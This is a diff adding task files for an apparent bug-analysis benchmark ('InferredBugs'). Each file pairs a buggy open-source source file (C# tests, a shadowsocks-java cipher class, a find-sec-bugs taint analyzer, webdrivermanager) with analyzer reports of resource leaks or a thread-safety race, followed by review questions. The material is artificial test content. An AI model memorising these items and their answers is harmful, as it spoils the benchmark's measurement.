+            ProjectAnalyzer analyzer = manager.GetProject(projectPath);
+            EnvironmentOptions options = new EnvironmentOptions
+            {
+                Preference = preference
+            };
+
+            // Set some enviornment variables to make it seem like we're not in a CI build
+            // Sometimes this messes up libraries like SourceLink since we're building as part of a test and not for CI
+            options.EnvironmentVariables.Add("APPVEYOR", "False");
+            options.EnvironmentVariables.Add("ContinuousIntegrationBuild", null);
+            options.EnvironmentVariables.Add("CI", "False");
+            options.EnvironmentVariables.Add("CI_LINUX", "False");
+            options.EnvironmentVariables.Add("CI_WINDOWS", "False");
+
+            // When
+            DeleteProjectDirectory(analyzer.ProjectFile.Path, "obj");
+            DeleteProjectDirectory(analyzer.ProjectFile.Path, "bin");
+            analyzer.IgnoreFaultyImports = false;
+
+#pragma warning disable 0162
+            if (BinaryLog)
+            {
+                analyzer.AddBinaryLogger($@"E:\Temp\{Path.GetFileNameWithoutExtension(solutionPath)}.{Path.GetFileNameWithoutExtension(analyzer.ProjectFile.Path)}.core.binlog");
+            }
+#pragma warning restore 0162
+
+            AnalyzerResults results = analyzer.Build(options);
+
+            // Then
+            results.Count.ShouldBeGreaterThan(0, log.ToString());
+            results.OverallSuccess.ShouldBeTrue(log.ToString());
+            results.ShouldAllBe(x => x.Succeeded, log.ToString());
+        }
+
+        private static void CloneRepository(string repository, string path)
+        {
+            if (!Directory.Exists(path))
+            {
+                TestContext.Progress.WriteLine($"Cloning { path }");
+                Directory.CreateDirectory(path);
+                string clonedPath = Repository.Clone(repository, path);
+                TestContext.Progress.WriteLine($"Cloned into { clonedPath }");
+            }
+            else if (!Repository.IsValid(path))
+            {
+                TestContext.Progress.WriteLine($"Recloning { path }");
+                Directory.Delete(path, true);
+                Thread.Sleep(1000);
+                Directory.CreateDirectory(path);
+                string clonedPath = Repository.Clone(repository, path);
+                TestContext.Progress.WriteLine($"Cloned into { clonedPath }");
+            }
+            else
+            {
+                TestContext.Progress.WriteLine($"Updating { path }");
+                Repository repo = new Repository(path);
+                foreach (Remote remote in repo.Network.Remotes)
+                {
+                    IEnumerable<string> refSpecs = remote.FetchRefSpecs.Select(x => x.Specification);
+                    Commands.Fetch(repo, remote.Name, refSpecs, null, string.Empty);
+                }
+            }
+        }
+
+        private static string GetRepositoryPath(string repository)
+        {
+            string path = Path.GetFullPath(
+                Path.Combine(
+                    Path.GetDirectoryName(typeof(OpenSourceProjectsFixture).Assembly.Location),
+                    @"..\..\..\..\repos\" + Path.GetFileNameWithoutExtension(repository)));
+
+            return path.Replace('\\', Path.DirectorySeparatorChar);
+        }
+
+        private static void DeleteProjectDirectory(string projectPath, string directory)
+        {
+            string path = Path.Combine(Path.GetDirectoryName(projectPath), directory);
+            if (Directory.Exists(path))
+            {
+                Directory.Delete(path, true);
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource log of type System.IO.StringWriter in method "Void OpenSourceProjectsFixture.CompilesProject(EnvironmentPreference,String,String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void OpenSourceProjectsFixture.CompilesProject(EnvironmentPreference,String,String)
+
+### File:
+tests/Buildalyzer.Tests/Integration/OpenSourceProjectsFixture.cs
+
+### Key:
+OpenSourceProjectsFixture.cs|CompilesProject|DOTNET_RESOURCE_LEAK
+
+### Hash:
+4097356181d27ecc7162b30ae2c3dbae
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2868/instruction.md b/inferredbugs-2868/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..070a4155b08b4856047f2fe5725c5babc9953cdc
--- /dev/null
+++ b/inferredbugs-2868/instruction.md
@@ -0,0 +1,122 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** MollieApi
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Mollie.Api.Client;
+using Mollie.Api.Models.Connect;
+using Mollie.Tests.Integration.Framework;
+using NUnit.Framework;
+using System.Collections.Generic;
+using System.Net.Http;
+using System.Threading.Tasks;
+
+namespace Mollie.Tests.Integration.Api {
+    [TestFixture]
+    public class ConnectTests : BaseMollieApiTestClass {
+        [Test]
+        public void GetAuthorizationUrl_WithSingleScope_GeneratesAuthorizationUrl() {
+            // Given: We create a new connect client
+            ConnectClient connectClient = new ConnectClient(this.ClientId, this.ClientSecret);
+
+            // When: We get the authorization URL
+            string authorizationUrl = connectClient.GetAuthorizationUrl("abcde", new List<string>() { AppPermissions.PaymentsRead });
+
+            // Then: 
+            string expectedUrl = $"https://www.mollie.com/oauth2/authorize?client_id={this.ClientId}&state=abcde&scope=payments.read&response_type=code&approval_prompt=auto";
+            Assert.AreEqual(expectedUrl, authorizationUrl);
+        }
+
+        [Test]
+        public void GetAuthorizationUrl_WithMultipleScopes_GeneratesAuthorizationUrl() {
+            // Given: We create a new connect client
+            ConnectClient connectClient = new ConnectClient(this.ClientId, this.ClientSecret);
+
+            // When: We get the authorization URL
+            string authorizationUrl = connectClient.GetAuthorizationUrl("abcde", new List<string>() { AppPermissions.PaymentsRead, AppPermissions.PaymentsWrite });
+
+            // Then: 
+            string expectedUrl = $"https://www.mollie.com/oauth2/authorize?client_id={this.ClientId}&state=abcde&scope=payments.read+payments.write&response_type=code&approval_prompt=auto";
+            Assert.AreEqual(expectedUrl, authorizationUrl);
+        }
+        
+        [Test]
+        [Ignore("We can only test this in debug mode, because we login to the mollie dashboard and login to get the auth token")]
+        public async Task GetAccessTokenAsync() {
+            // Given: We fetch the authcode from the authorization URL
+            string authCode = "abcde"; // Set a valid access token here
+            ConnectClient connectClient = new ConnectClient(this.ClientId, this.ClientSecret);
+            TokenRequest tokenRequest = new TokenRequest(authCode, "https://www.vincentkok.net");
+
+            // When: We request the auth code
+            TokenResponse tokenResponse = await connectClient.GetAccessTokenAsync(tokenRequest);
+
+            // Then: The access token should not be null
+            Assert.IsFalse(string.IsNullOrEmpty(tokenResponse.AccessToken));
+        }
+
+        private async Task<string> GetAuthorizationCode(string authorizationUrl) {
+            HttpClient httpClient = new HttpClient();
+            HttpResponseMessage response = await httpClient.GetAsync(authorizationUrl);
+
+            response.EnsureSuccessStatusCode();
+            string responseUri = response.RequestMessage.RequestUri.ToString();
+
+            return responseUri;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource connectClient.Mollie.Api.Client.ConnectClient._httpClient of type System.Net.Http.HttpClient in method "Void ConnectTests.GetAuthorizationUrl_WithMultipleScopes_GeneratesAuthorizationUrl()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ConnectTests.GetAuthorizationUrl_WithMultipleScopes_GeneratesAuthorizationUrl()
+
+### File:
+Mollie.Tests.Integration/Api/ConnectTests.cs
+
+### Key:
+ConnectTests.cs|GetAuthorizationUrl_WithMultipleScopes_GeneratesAuthorizationUrl|DOTNET_RESOURCE_LEAK
+
+### Hash:
+dfe3a34d85338bd4f88e5ae9f0aeda14
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2892/instruction.md b/inferredbugs-2892/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..43ee382b08d08a84164554ab9dc214d4cefd923f
--- /dev/null
+++ b/inferredbugs-2892/instruction.md
@@ -0,0 +1,229 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** shadowsocks-java
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package cn.wowspeeder.encryption;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.SecureRandom;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.logging.Logger;
+
+import javax.crypto.SecretKey;
+
+import org.bouncycastle.crypto.CipherParameters;
+import org.bouncycastle.crypto.StreamBlockCipher;
+import org.bouncycastle.crypto.StreamCipher;
+import org.bouncycastle.crypto.params.KeyParameter;
+import org.bouncycastle.crypto.params.ParametersWithIV;
+
+public abstract class CryptBase implements ICrypt {
+
+	protected final String _name;
+	protected final SecretKey _key;
+	protected final ShadowSocksKey _ssKey;
+	protected final int _ivLength;
+	protected final int _keyLength;
+	protected boolean _ignoreIVSet;
+	protected boolean _encryptIVSet;
+	protected boolean _decryptIVSet;
+	protected byte[] _encryptIV;
+	protected byte[] _decryptIV;
+	protected final Lock encLock = new ReentrantLock();
+	protected final Lock decLock = new ReentrantLock();
+	protected StreamCipher encCipher;
+	protected StreamCipher decCipher;
+	private Logger logger = Logger.getLogger(CryptBase.class.getName());
+
+	public CryptBase(String name, String password) {
+		_name = name.toLowerCase();
+		_ivLength = getIVLength();
+		_keyLength = getKeyLength();
+		_ssKey = new ShadowSocksKey(password, _keyLength);
+		_key = getKey();
+	}
+
+	@Override
+	public void ivSetIgnore(boolean ignore) {
+		this._ignoreIVSet = ignore;
+	}
+
+	protected void setIV(byte[] iv, boolean isEncrypt) {
+		if (_ivLength == 0) {
+			return;
+		}
+		CipherParameters cipherParameters = null;
+
+		if (isEncrypt) {
+			cipherParameters = getCipherParameters(iv);
+			try {
+				encCipher = getCipher(isEncrypt);
+			} catch (InvalidAlgorithmParameterException e) {
+				logger.info(e.toString());
+			}
+			encCipher.init(isEncrypt, cipherParameters);
+		} else {
+			_decryptIV = new byte[_ivLength];
+			System.arraycopy(iv, 0, _decryptIV, 0, _ivLength);
+			cipherParameters = getCipherParameters(iv);
+			try {
+				decCipher = getCipher(isEncrypt);
+			} catch (InvalidAlgorithmParameterException e) {
+				logger.info(e.toString());
+			}
+			decCipher.init(isEncrypt, cipherParameters);
+		}
+	}
+
+	protected CipherParameters getCipherParameters(byte[] iv){
+		_decryptIV = new byte[_ivLength];
+		System.arraycopy(iv, 0, _decryptIV, 0, _ivLength);
+		return new ParametersWithIV(new KeyParameter(_key.getEncoded()), _decryptIV);
+	}
+
+	@Override
+	public void encrypt(byte[] data, ByteArrayOutputStream stream) {
+		synchronized (encLock) {
+			stream.reset();
+			if (!_encryptIVSet || _ignoreIVSet) {
+				_encryptIVSet = true;
+				byte[] iv = randomBytes(_ivLength);
+				setIV(iv, true);
+				try {
+					stream.write(iv);
+				} catch (IOException e) {
+					logger.info(e.toString());
+				}
+
+			}
+
+			_encrypt(data, stream);
+		}
+	}
+
+	@Override
+	public void encrypt(byte[] data, int length, ByteArrayOutputStream stream) {
+		byte[] d = new byte[length];
+		System.arraycopy(data, 0, d, 0, length);
+		encrypt(d, stream);
+	}
+
+	@Override
+	public void decrypt(byte[] data, ByteArrayOutputStream stream) {
+		byte[] temp;
+		synchronized (decLock) {
+			stream.reset();
+			if (!_decryptIVSet || _ignoreIVSet) {
+				_decryptIVSet = true;
+				setIV(data, false);
+				temp = new byte[data.length - _ivLength];
+				System.arraycopy(data, _ivLength, temp, 0, data.length
+						- _ivLength);
+			} else {
+				temp = data;
+			}
+
+			_decrypt(temp, stream);
+		}
+	}
+
+	@Override
+	public void decrypt(byte[] data, int length, ByteArrayOutputStream stream) {
+		byte[] d = new byte[length];
+		System.arraycopy(data, 0, d, 0, length);
+		decrypt(d, stream);
+	}
+
+	private byte[] randomBytes(int size) {
+		byte[] bytes = new byte[size];
+		new SecureRandom().nextBytes(bytes);
+		return bytes;
+	}
+
+	protected abstract StreamCipher getCipher(boolean isEncrypted)
+			throws InvalidAlgorithmParameterException;
+
+	protected abstract SecretKey getKey();
+
+	protected abstract void _encrypt(byte[] data, ByteArrayOutputStream stream);
+
+	protected abstract void _decrypt(byte[] data, ByteArrayOutputStream stream);
+
+	protected abstract int getIVLength();
+
+	protected abstract int getKeyLength();
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `cn.wowspeeder.encryption.CryptBase.setIV` reads without synchronization from `this.cn.wowspeeder.encryption.CryptBase._decryptIV`. Potentially races with write in method `CryptBase.encrypt(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CryptBase.setIV(byte[],boolean)
+
+### Procedure Id:
+cn.wowspeeder.encryption.CryptBase.setIV(byte[],boolean):void.9c65d3cdf0eeee1c9e56c987f715ac95
+
+### File:
+src/main/java/cn/wowspeeder/encryption/CryptBase.java
+
+### Key:
+CryptBase.java|setIV|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+2d1e4b41762bf219f16fcd510d55553f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2895/instruction.md b/inferredbugs-2895/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d2d8462e08e4153e28f8392149842f36873fca32
--- /dev/null
+++ b/inferredbugs-2895/instruction.md
@@ -0,0 +1,339 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** find-sec-bugs
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Find Security Bugs
+ * Copyright (c) Philippe Arteau, All rights reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 3.0 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library.
+ */
+package com.h3xstream.findsecbugs.taintanalysis;
+
+import edu.umd.cs.findbugs.ba.BasicBlock;
+import edu.umd.cs.findbugs.ba.DataflowAnalysisException;
+import edu.umd.cs.findbugs.ba.DepthFirstSearch;
+import edu.umd.cs.findbugs.ba.Edge;
+import edu.umd.cs.findbugs.ba.FrameDataflowAnalysis;
+import edu.umd.cs.findbugs.ba.Location;
+import edu.umd.cs.findbugs.ba.generic.GenericSignatureParser;
+import edu.umd.cs.findbugs.classfile.MethodDescriptor;
+import edu.umd.cs.findbugs.classfile.analysis.AnnotationValue;
+import edu.umd.cs.findbugs.classfile.analysis.MethodInfo;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import org.apache.bcel.generic.InstructionHandle;
+import org.apache.bcel.generic.MethodGen;
+
+/**
+ * Implements taint dataflow operations, in particular meeting facts, transfer
+ * function is delegated to {@link TaintFrameModelingVisitor}
+ * 
+ * @author David Formanek
+ */
+public class TaintAnalysis extends FrameDataflowAnalysis<Taint, TaintFrame> {
+
+    private static final Logger LOG = Logger.getLogger(TaintAnalysis.class.getName());
+
+    private final MethodGen methodGen;
+    private final MethodInfo methodDescriptor;
+    private final TaintFrameModelingVisitor visitor;
+    private int parameterStackSize;
+    private List<Integer> slotToParameter;
+
+    private static final List<String> TAINTED_ANNOTATIONS = loadFileContent(
+            "taint-config/taint-param-annotations.txt"
+    );
+    
+    public TaintAnalysis(MethodGen methodGen, DepthFirstSearch dfs,
+            MethodDescriptor descriptor, TaintMethodSummaryMap methodSummaries) {
+        super(dfs);
+        this.methodGen = methodGen;
+        this.methodDescriptor = (MethodInfo) descriptor;
+        this.visitor = new TaintFrameModelingVisitor(methodGen.getConstantPool(), descriptor, methodSummaries);
+        computeParametersInfo(descriptor.getSignature(), descriptor.isStatic());
+    }
+
+    @Override
+    protected void mergeValues(TaintFrame frame, TaintFrame result, int i)
+            throws DataflowAnalysisException {
+        result.setValue(i, Taint.merge(result.getValue(i), frame.getValue(i)));
+    }
+
+    @Override
+    public void transferInstruction(InstructionHandle handle, BasicBlock block, TaintFrame fact)
+            throws DataflowAnalysisException {
+        visitor.setFrameAndLocation(fact, new Location(handle, block));
+        visitor.analyzeInstruction(handle.getInstruction());
+    }
+
+    @Override
+    public TaintFrame createFact() {
+        return new TaintFrame(methodGen.getMaxLocals());
+    }
+
+    /**
+     * Initialize the initial state of a TaintFrame.
+     * @param fact Initial frame
+     */
+    @Override
+    public void initEntryFact(TaintFrame fact) {
+        fact.setValid();
+        fact.clearStack();
+        boolean inMainMethod = isInMainMethod();
+        int numSlots = fact.getNumSlots();
+        int numLocals = fact.getNumLocals();
+        for (int i = 0; i < numSlots; ++i) {
+            Taint value = new Taint(Taint.State.UNKNOWN);
+            if (i < numLocals) {
+                if (i < parameterStackSize) {
+                    if (inMainMethod || isTaintedByAnnotation(i - 1)) {
+                        value = new Taint(Taint.State.TAINTED);
+                        // this would add line number for the first instruction in the main method
+                        //value.addLocation(new TaintLocation(methodDescriptor, 0), true);
+                    } else {
+                        int stackOffset = parameterStackSize - i - 1;
+                        value.addParameter(stackOffset);
+                    }
+                }
+                value.setVariableIndex(i);
+            }
+            fact.setValue(i, value);
+        }
+    }
+
+    /**
+     * @return true if the method is the startup point of a console or gui application
+     * ("public static void main(String[] args)"), false otherwise
+     */
+    private boolean isInMainMethod() {
+        return methodDescriptor.isStatic()
+                && "main".equals(methodDescriptor.getName())
+                && "([Ljava/lang/String;)V".equals(methodDescriptor.getSignature())
+                && methodGen.getMethod().isPublic();
+    }
+
+    /**
+     * Determine if the slot value is tainted based on added framework annotations.
+     * <hr/>
+     * Example of mapping done:<br/>
+     *
+     * Method analyzed: "test(String,String,double)V"
+     * For the slot no 2, it look at annotations on the parameter 2.
+     * <pre>
+     *          0               1               2               3
+     *                                    +++++++++++++
+     *  [ double param3 | double param3 | String param2 | String param1 ]
+     * </pre>
+     * <br/>
+     * (Reminder : double and long take two slots for one parameter)
+     *
+     * @param slotNo
+     * @return
+     */
+    private boolean isTaintedByAnnotation(int slotNo) {
+        if (slotNo >= 0 && methodDescriptor.hasParameterAnnotations()) {
+            int parameter = slotToParameter.get(slotNo);
+            Collection<AnnotationValue> annotations = methodDescriptor.getParameterAnnotations(parameter);
+            for (AnnotationValue annotation : annotations) {
+                if (TAINTED_ANNOTATIONS.contains(annotation.getAnnotationClass().getClassName())) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+    
+    @Override
+    public void meetInto(TaintFrame fact, Edge edge, TaintFrame result)
+            throws DataflowAnalysisException {
+        if (fact.isValid() && edge.isExceptionEdge()) {
+            TaintFrame copy = null;
+            // creates modifiable copy
+            copy = modifyFrame(fact, copy);
+            copy.clearStack();
+            // do not trust values that are safe just when an exception occurs
+            copy.pushValue(new Taint(Taint.State.UNKNOWN));
+            fact = copy;
+        }
+        mergeInto(fact, result);
+    }
+    
+    /**
+     * This method must be called after executing the data flow
+     */
+    public void finishAnalysis() {
+        visitor.finishAnalysis();
+    }
+
+    /**
+     * Compute two values:
+     *  <li>The number of value require on the stack for a specific call.</li>
+     *  <li>The parameter association with each slot.</li>
+     *
+     * <hr/>
+     *
+     * For exemple : "(I[Ljava/lang/String;Ljava/lang/Object;)V" =>  void a(Integer, String, Object)<br/><br/>
+     * Expected Stack prior the method invocation :<br/>
+     * <pre>
+     * +--------------+
+     * | 0: Object    |
+     * +--------------+
+     * | 1: String    |
+     * +--------------+
+     * | 2: int       |
+     * +--------------+
+     * </pre>
+     * <hr/>
+     *
+     * Special note: double and long (primitive types) value take two slots.<br/>
+     * For exemple : "(IDJ)V" =>  void a(Integer, Double, Long)
+     * <pre>
+     * +--------------+
+     * | 0: long  pt1 |
+     * +--------------+
+     * | 1: long  pt2 |
+     * +--------------+
+     * | 2: double pt1|
+     * +--------------+
+     * | 3: double pt2|
+     * +--------------+
+     * | 4: int       |
+     * +--------------+
+     * </pre>
+     *
+     * @param signature
+     * @param isStatic
+     * @return
+     */
+    private void computeParametersInfo(String signature, boolean isStatic) {
+        assert signature != null && !signature.isEmpty();
+        // static methods does not have reference to this
+        int stackSize = isStatic ? 0 : 1;
+        GenericSignatureParser parser = new GenericSignatureParser(signature);
+        Iterator<String> iterator = parser.parameterSignatureIterator();
+        int paramIdx = 0;
+        slotToParameter = new ArrayList<Integer>();
+        while (iterator.hasNext()) {
+            String parameter = iterator.next();
+            if (parameter.equals("D") || parameter.equals("J")) {
+                // double and long types takes two slots
+                stackSize += 2;
+                slotToParameter.add(paramIdx);
+                slotToParameter.add(paramIdx);
+            } else {
+                stackSize++;
+                slotToParameter.add(paramIdx);
+            }
+            paramIdx++;
+        }
+        parameterStackSize = stackSize;
+    }
+
+    private static List<String> loadFileContent(String path) {
+        try {
+            InputStream in = TaintAnalysis.class.getClassLoader().getResourceAsStream(path);
+            BufferedReader stream = new BufferedReader(new InputStreamReader(in));
+            String line;
+            List<String> content = new ArrayList<String>();
+            while ((line = stream.readLine()) != null) {
+                content.add(line.trim());
+            }
+            stream.close();
+            return content;
+        } catch (IOException e) {
+            LOG.log(Level.SEVERE, "Unable to load data from {0}", path);
+        }
+        return new ArrayList<String>();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 251 is not released after line 259.
+**Note**: potential exception at line 254
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+List TaintAnalysis.loadFileContent(String)
+
+### Procedure Id:
+com.h3xstream.findsecbugs.taintanalysis.TaintAnalysis.loadFileContent(java.lang.String):java.util.Li.1a5c0fb5c5dc0e85175d82bcebbbc7a7
+
+### File:
+plugin/src/main/java/com/h3xstream/findsecbugs/taintanalysis/TaintAnalysis.java
+
+### Key:
+TaintAnalysis.java|loadFileContent|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+b75075056f056a3bdd543a43a2ee476c
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2978/instruction.md b/inferredbugs-2978/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4b7ac9b292f64b50299dd53f8f7de5517c50fa4b
--- /dev/null
+++ b/inferredbugs-2978/instruction.md
@@ -0,0 +1,1437 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webdrivermanager
+**Bug ID:** 63
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * (C) Copyright 2015 Boni Garcia (http://bonigarcia.github.io/)
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+package io.github.bonigarcia.wdm;
+
+import static io.github.bonigarcia.wdm.Architecture.X32;
+import static io.github.bonigarcia.wdm.Architecture.X64;
+import static io.github.bonigarcia.wdm.Config.isNullOrEmpty;
+import static io.github.bonigarcia.wdm.DriverManagerType.CHROME;
+import static io.github.bonigarcia.wdm.DriverManagerType.CHROMIUM;
+import static io.github.bonigarcia.wdm.DriverManagerType.EDGE;
+import static io.github.bonigarcia.wdm.DriverManagerType.FIREFOX;
+import static io.github.bonigarcia.wdm.DriverManagerType.IEXPLORER;
+import static io.github.bonigarcia.wdm.DriverManagerType.OPERA;
+import static io.github.bonigarcia.wdm.DriverManagerType.PHANTOMJS;
+import static io.github.bonigarcia.wdm.DriverManagerType.SELENIUM_SERVER_STANDALONE;
+import static io.github.bonigarcia.wdm.OperatingSystem.WIN;
+import static io.github.bonigarcia.wdm.Shell.getVersionFromPosixOutput;
+import static io.github.bonigarcia.wdm.Shell.getVersionFromWmicOutput;
+import static io.github.bonigarcia.wdm.Shell.runAndWait;
+import static java.io.File.separator;
+import static java.lang.Integer.parseInt;
+import static java.lang.Integer.signum;
+import static java.lang.Integer.valueOf;
+import static java.lang.invoke.MethodHandles.lookup;
+import static java.nio.charset.Charset.defaultCharset;
+import static java.util.Collections.sort;
+import static java.util.Optional.empty;
+import static java.util.regex.Pattern.CASE_INSENSITIVE;
+import static java.util.regex.Pattern.compile;
+import static javax.xml.xpath.XPathConstants.NODESET;
+import static javax.xml.xpath.XPathFactory.newInstance;
+import static org.apache.commons.io.FileUtils.deleteDirectory;
+import static org.apache.commons.io.FileUtils.listFiles;
+import static org.apache.commons.io.FilenameUtils.removeExtension;
+import static org.apache.commons.lang3.StringUtils.isNumeric;
+import static org.apache.commons.lang3.SystemUtils.IS_OS_LINUX;
+import static org.apache.commons.lang3.SystemUtils.IS_OS_MAC;
+import static org.apache.commons.lang3.SystemUtils.IS_OS_WINDOWS;
+import static org.slf4j.LoggerFactory.getLogger;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.EnumMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Properties;
+import java.util.regex.Matcher;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.io.IOUtils;
+import org.apache.hc.client5.http.classic.methods.HttpGet;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse;
+import org.jsoup.Jsoup;
+import org.slf4j.Logger;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.NodeList;
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.internal.LinkedTreeMap;
+
+/**
+ * Parent driver manager.
+ *
+ * @author Boni Garcia (boni.gg@gmail.com)
+ * @since 2.1.0
+ */
+public abstract class WebDriverManager {
+
+    static final Logger log = getLogger(lookup().lookupClass());
+
+    protected static final String SLASH = "/";
+    protected static final String BETA = "beta";
+    protected static final String ONLINE = "online";
+    protected static final String LOCAL = "local";
+    protected static final String LATEST_RELEASE = "LATEST_RELEASE";
+
+    protected abstract List<URL> getDrivers() throws IOException;
+
+    protected abstract Optional<String> getBrowserVersion();
+
+    protected abstract DriverManagerType getDriverManagerType();
+
+    protected abstract String getDriverName();
+
+    protected abstract void setDriverVersion(String version);
+
+    protected abstract String getDriverVersion();
+
+    protected abstract void setDriverUrl(URL url);
+
+    protected abstract URL getDriverUrl();
+
+    protected abstract Optional<URL> getMirrorUrl();
+
+    protected abstract Optional<String> getExportParameter();
+
+    protected static Map<DriverManagerType, WebDriverManager> instanceMap = new EnumMap<>(
+            DriverManagerType.class);
+
+    protected HttpClient httpClient;
+    protected Downloader downloader;
+    protected UrlFilter urlFilter;
+    protected String versionToDownload;
+    protected String downloadedVersion;
+    protected String binaryPath;
